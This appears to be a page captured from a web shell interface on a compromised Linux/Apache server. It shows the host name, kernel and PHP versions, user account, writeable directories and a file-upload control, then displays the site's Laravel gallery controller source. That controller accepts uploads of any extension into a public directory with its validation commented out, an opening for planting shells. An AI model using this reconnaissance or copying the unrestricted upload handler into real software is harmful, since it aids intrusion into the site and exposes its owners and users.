Sh3ll
OdayForums


Server : Apache
System : Linux 145.162.205.92.host.secureserver.net 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User : tradze ( 1001)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/tradze/www/app/Modules/Users/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tradze/www/app/Modules/Users/Http/Controllers/Admin/SalonGalleryController.php
<?php
namespace App\Modules\Users\Http\Controllers\Admin;

use App\Http\Controllers\AdminController;
use App\Http\Requests;
use App\Http\Controllers\Controller;
use File;
use App\Modules\Services\Models\ServiceType;
use App\Modules\Users\Models\SalonGallery;
// use App\Modules\Users\Http\Requests\SalonCreateRequest;
use App\Modules\Users\Http\Requests\SalonUpdAvatarRequest;
use App\Modules\Users\Http\Requests\SalonUpdInfoRequest;
use App\Modules\Users\Http\Requests\SalonUpdPassRequest;
use App\Modules\Users\Http\Requests\AddGalleryRequest;
use App\Modules\Users\Models\UserAddress;
use App\Modules\Users\Models\UserProfile;
use App\User;
use Spatie\Permission\Models\Role;
use Carbon\Carbon;
use Cmgmyr\Messenger\Models\Thread;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Storage;
use Laracasts\Flash\Flash;
use Yajra\Datatables\Datatables;

class SalonGalleryController extends AdminController
{

    /**
     * Display a listing of the resource.
     *
     * @return Response
     */
    public function index(Request $request)
    {
        // return redirect()->back();
        $this->data['page_title'] = trans('users::salon.page_title');
        $this->data['images'] = SalonGallery::whereIn('user_id',[auth::user()->id])->get();
        // dd($this->data);
        return view('users::admin.salon_gallery_index',$this->data);
    }

    /**
     * Show a list of all companies
     *
     * @return mixed
     */
    public function data(Request $request)
    {
       
    }

    /**
     * Get object entries
     * @param Request $request
     */
    protected function getData(Request $request)
    {
        
    }

    /**
     * Show the form for creating a new resource.
     *
     * @return Response
     */
    public function create()
    {
        $this->data['page_title'] = trans('users::salon.page_title');
        $this->data['salon_id'] = Auth::user()->id;
        return view('users::admin.salon_gallery_create',$this->data);
        // return redirect()->back();
    }

    public function add(Request $request, $id){
        // dd($request->all(),$id);
        if ($request->has('file_title')){
            // dd("here");
            foreach($request->file_title as $key=>$val){
                // dd($val);
                $image = SalonGallery::create([
                    'title' => $val,
                    'url' => $request['file_url'][$key],
                    'order' => $request['file_order'][$key],
                    'user_id' => $id,
                ]);
                $file = $request->file("photo.$key");
                $filename = strtolower(str_random(20)).'-'.str_slug(str_replace($file->getClientOriginalExtension(),'',$file->getClientOriginalName()));
                
                $extension = ($file->getClientOriginalExtension())?:'jpg';
                // dd($filename.".".$extension);
                $path_file = '/themes/frontend_new/assets/salon-gallery/'.$filename.".".$extension;
                
                $file->move(public_path('/themes/frontend_new/assets/salon-gallery'),$filename.".".$extension);
                // dd($file);
                //upload file
                // $upload = Storage::disk('public')->put(
                //     $path_file,
                //     file_get_contents($file->getRealPath())
                // );
                // dd($upload);
                $image->path = $path_file;
                $image->filename = $filename.".".$extension;
                $image->save();
            } //endforeach

        } //endif

        if ($request->save) {
            return redirect(route('admin.users.salon.edit', ['id' => $id]));
        } elseif ($request->save_exit) {
            return redirect(route('admin.schedules.bookings.index'));
        }
        // dd($id, $request);
        // $validator = $this->validate($request, [
        //     'images.*'  =>  'required|image|mimes:jpeg,png,jpg,gif',
        // ]);
        // foreach ($request->file('images') as $imagefile) {
        //      $image = new SalonGallery;
        //      $name = time().$imagefile->getClientOriginalName();
        //      $image->image_name = $name;
        //      $image->user_id = auth::user()->id;
        //      $imagefile->move(public_path('/themes/frontend_new/assets/salon-gallery'),$name);
        //      $image->save();     
        //         }
        // // dd($request->file('images'));
        // return redirect()->back()->with('success', 'Images Uploaded Successfully');
        }
    /**
     * Store a newly created resource in storage.
     *
     * @return Response
     */
    public function store(SalonCreateRequest $request)
    {
        

    }

    /**
     * Edit Customer/salon account
     *
     * @param $label
     * @return \BladeView|bool|\Illuminate\Contracts\View\Factory|\Illuminate\View\View
     */
    public function edit(Request $request, $obj)
    {
       
    }


    /**
     * Update the specified resource in storage.
     *
     * @param  int $id
     * @return Response
     */
    public function update(SalonUpdInfoRequest $request, $obj)
    {
        
    }

    
    /**
     * Update user password
     * @param TherapistUpdPassRequest $request
     * @param $obj
     */
    // public function update_avatar(SalonUpdAvatarRequest $request, $obj)
    // {
    //     $file = $request->file('avatar');
    //     $filename = strtolower(str_random(20)).'-'.str_slug(str_replace($file->getSalonOriginalExtension(),'',$file->getSalonOriginalName()));
    //     $extension = ($file->getSalonOriginalExtension())?:'jpg';

    //     $path_file = 'avatar/'.$filename.".".$extension;

    //     //upload file
    //     $upload = Storage::disk('public_images')->put(
    //         $path_file,
    //         file_get_contents($request->file('avatar')->getRealPath())
    //     );

    //     $profile = $obj->profile;
    //     $profile->avatar = $path_file;
    //     $profile->save();

    //     //redirect
    //     if ($request->save) {
    //         return redirect(route('admin.users.salon.edit', ['id' => $obj->id]));
    //     } elseif ($request->save_exit) {
    //         return redirect(route('admin.users.salon.index'));
    //     }
    // }



    /**
     * Delete page
     *
     * @param  int $id
     * @return \Illuminate\Http\Response
     */

    public function del_gallery($id)
    {
        // dd("here");
        $image = SalonGallery::whereIn('id', [$id])->get();
        // dd($image);
        //remove file from storage
        unlink(public_path('themes/frontend_new/assets/salon-gallery') . '/' . $image[0]->filename);

        //delete file entry from db
        $image[0]->delete();
    }

    public function delete($obj)
    {   
        // dd($obj);
        $image = SalonGallery::whereIn('id', [$obj])->get();
        // dd($image);
        unlink(public_path('themes/frontend_new/assets/salon-gallery') . '/' . $image[0]->image_name);
        $image[0]->delete();
        return redirect()->back();
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param  int $id
     * @return \Illuminate\Http\Response
     */
    public function destroy($obj)
    {
    
    }

    /**
     * Profile Overview
     * @param $obj
     */
    public function show($obj)
    {
        
    }

}

ZeroDay Forums Mini